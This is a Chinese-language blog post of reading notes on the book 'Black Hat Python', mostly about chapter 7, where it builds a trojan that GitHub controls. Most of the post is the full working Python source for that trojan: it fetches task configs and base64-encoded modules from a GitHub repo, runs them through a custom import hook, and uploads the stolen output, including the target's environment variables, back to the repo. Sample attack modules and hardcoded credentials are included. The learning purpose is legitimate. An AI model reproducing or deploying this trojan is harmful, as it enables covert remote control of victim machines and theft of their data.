读书笔记 -《Python 黑帽子》 ( 五 )
2016-02-20 23:27
791 查看
读书笔记系列文章
一直都在读书,读了忘,忘了再读。不如把每次学到的东西都写下来第六章 扩展 Burp 代理
这一章,作者介绍了攻击 Web应用 的一个好工具,Burp Suite,并且写了两个扩展工具,作为「顺手的工具」以实施攻击和扩展侦察。可以到 http://portswigger.net 下载 Burp,Kali 系统已经安装了这个工具,我也就省去了安装的过程。(Kali 棒棒的!)
先补充一些 Burp Suite 的东西再来看这一章吧,之前没用过。
配置
Burp 模糊测试
在 Burp 中利用 Bing 服务
利用网站内容生成密码字典
(第六章的内容不打算认真的读了,先学会怎么使用 burp 再想着怎么写扩展)第七章 基于 GitHub 的命令和控制
这一章的主要内容是写一个简单的木马,通过 GitHub 来控制木马。关于git 和 GitHub 的使用方式就不用详细介绍了。
当初我学 git 和 GitHub 的时候,比较懒,不想自己搜索资料,就买了一本叫做《GitHub 入门和实践》学习了这些东西。
书写的比较啰嗦,是因为作者不仅讲解了代码,还记录了 git 的具体使用步骤。
关于 git 的介绍和使用方式,我就不写了。直接解释代码
先说一下这一章代码的功能。
木马程序肯定是放在靶机上的,木马程序的主循环会每隔一段时间去 github 读取配置文件。
如果配置文件表示有任务需要执行,那么尝试执行这个任务(如果这个任务所需要的 module本地没有,那就远程下载,再导入)
任务执行完成之后,形成 data文件,上传到 github 仓库的 data 目录
所以有几个关键功能
读取 github 的配置文件
读取 module 文件
动态导入 module 文件
上传执行结果
为了能够使用 github,需要先安装 github3.py 这个第三方库
使用这个库,登录 github,下载文件,上传文件,这样关键功能的1,2,4都解决了
关键功能3 使用了 python 的 syis.meth_path 来自定义如何导入模块,这个一会儿介绍木马程序的时候在说,也可以先看看这个网页 https://www.zhihu.com/question/27376156/answer/83956281,或者直接看这个第三方库的实现方式https://github.com/kragniz/json-sempai
先看一下最终的目录结构
root@kali:~/trojan# ll 总用量 16 drwxr-xr-x 2 root root 4096 Feb 20 20:42 config drwxr-xr-x 2 root root 4096 Feb 19 17:18 data -rw-r--r-- 1 root root 301 Feb 20 21:45 git_trojan.py drwxr-xr-x 2 root root 4096 Feb 20 20:34 modules
config目录存储了一个 json 文件。木马程序会读取这个文件,然后按照文件内容,执行命令。
modules放着一些 python 代码,每一个文件都有一个 run函数。木马程序会下载这些文件,然后根据命令需要,执行相应文件的 run 函数。
data 目录存储木马上传上来的数据
下面是几个例子
配置文件, 加入这个配置文件命名为 abc.json,那么编号为 abc 的木马程序会读取这个文件[ { "module": "dirlister" }, { "module": "environment" } ]
modules 里面的environment.py,这是一个读取靶机环境变量的模块,假如配置文件里面配置了 environment,木马程序会下载这个文件,然后执行run函数
import os def run(**args): print '[*] In environment module.' return str(os.environ)
modules 里面的dirlister.py,同理,这个模块的功能是列出当前目录的文件
import os def run(**args): print '[*] In dirlister module.' files = os.listdir('.') return str(files)
重点:木马程序
这本书的风格就是点到为止。这个木马程序比较简单,甚至 github 的帐号密码都是要写在 python 文件里面的。这个程序的细节就不详细的写了,从整体上解释一下。
这个木马程序分为下面几个部分
1. 配置参数
2. 动态 import
3. 读取 github文件
4. 上传 github 文件
5. 主循环
1. 配置参数
配置参数有多个,通过命名就能看出来它的功能。我这里只介绍一些 trojan_id, 这个参数标识了这个木马程序的 id,木马程序会根据这个 id 值,下载配置文件。所以每一个木马程序都有独立的配置文件
2. 动态 import
这个功能刚开始的时候也有介绍,主要是利用了 python 的特性,设置 sys.meta_path,传入自定义类 GitImporter。具体工作原理可以参看上面写的 github项目3. 读取 github 文件
读取 github 文件主要涉及到三个函数connect_to_github: 连接 github,返回相应的 github 控制对象
get_file_contents: 使用上面的函数获取 github 对象,获取 github 中的文件内容
get_trojan_config: 使用上面的函数获取 该木马程序相对应的配置文件
4. 上传 github 文件
向 github 上传文件,同样需要使用connect_to_github与 github 建立连接。 然后调用
store_module_result函数上床文件。
5. 主循环
主循环是一个 while True 循环,当没有任务在执行的时候,会调用get_trojan_config来获取配置文件,然后生成新的线程执行
module_runner函数。
module_runner函数的主要功能是根据配置文件执行相应的 module,然后把执行的结果通过调用
store_module_result函数上传到 GitHub。
import json import base64 import sys import time import imp import random import threading import Queue import os from github3 import login trojan_id = "abc" trojan_config = "%s.json" % trojan_id data_path = "data/%s/" % trojan_id trojan_modules = [] task_queue = Queue.Queue() configured = False class GitImporter(object): def __init__(self): self.current_module_code = "" def find_module(self, fullname, path=None): if configured: print "[*] Attempting to retrieve %s" % fullname new_library = get_file_contents("modules/%s" % fullname) if new_library is not None: self.current_module_code = base64.b64decode(new_library) return self return None def load_module(self, name): module = imp.new_module(name) exec self.current_module_code in module.__dict__ sys.modules[name] = module return module def connect_to_github(): gh = login(username="blackhatpythonbook", password="justin1234") repo = gh.repository("blackhatpythonbook", "chapter7") branch = repo.branch("master") return gh, repo, branch def get_file_contents(filepath): gh, repo, branch = connect_to_github() tree = branch.commit.commit.tree.recurse() for filename in tree.tree: if filepath in filename.path: print "[*] Found file %s" % filepath blob = repo.blob(filename._json_data['sha']) return blob.content return None def get_trojan_config(): global configured config_json = get_file_contents(trojan_config) config = json.loads(base64.b64decode(config_json)) configured = True for task in config: if task['module'] not in sys.modules: exec ("import %s" % task['module']) return config def store_module_result(data): gh, repo, branch = connect_to_github() remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000)) repo.create_file(remote_path, "Commit message", base64.b64encode(data)) return def module_runner(module): task_queue.put(1) result = sys.modules[module].run() task_queue.get() # store the result in our repo store_module_result(result) return # main trojan loop sys.meta_path = [GitImporter()] while True: if task_queue.empty(): config = get_trojan_config() for task in config: t = threading.Thread(target=module_runner, args=(task['module'],)) t.start() time.sleep(random.randint(1, 10)) time.sleep(random.randint(1000, 10000))
第八章 Windows 下木马的常用功能
第九章 玩转浏览器
第十章 Windows 系统提取
这三章的内容暂时没有太大兴趣,只是简单的浏览了一下第十一章的内容还是挺好玩的。
相关文章推荐
- Python动态类型的学习---引用的理解
- Python3写爬虫(四)多线程实现数据爬取
- 垃圾邮件过滤器 python简单实现
- 下载并遍历 names.txt 文件,输出长度最长的回文人名。
- install and upgrade scrapy
- Scrapy的架构介绍
- Centos6 编译安装Python
- 使用Python生成Excel格式的图片
- 让Python文件也可以当bat文件运行
- [Python]推算数独
- Python中zip()函数用法举例
- Python中map()函数浅析
- Python将excel导入到mysql中
- Python在CAM软件Genesis2000中的应用
- 使用Shiboken为C++和Qt库创建Python绑定
- FREEBASIC 编译可被python调用的dll函数示例
- Python 七步捉虫法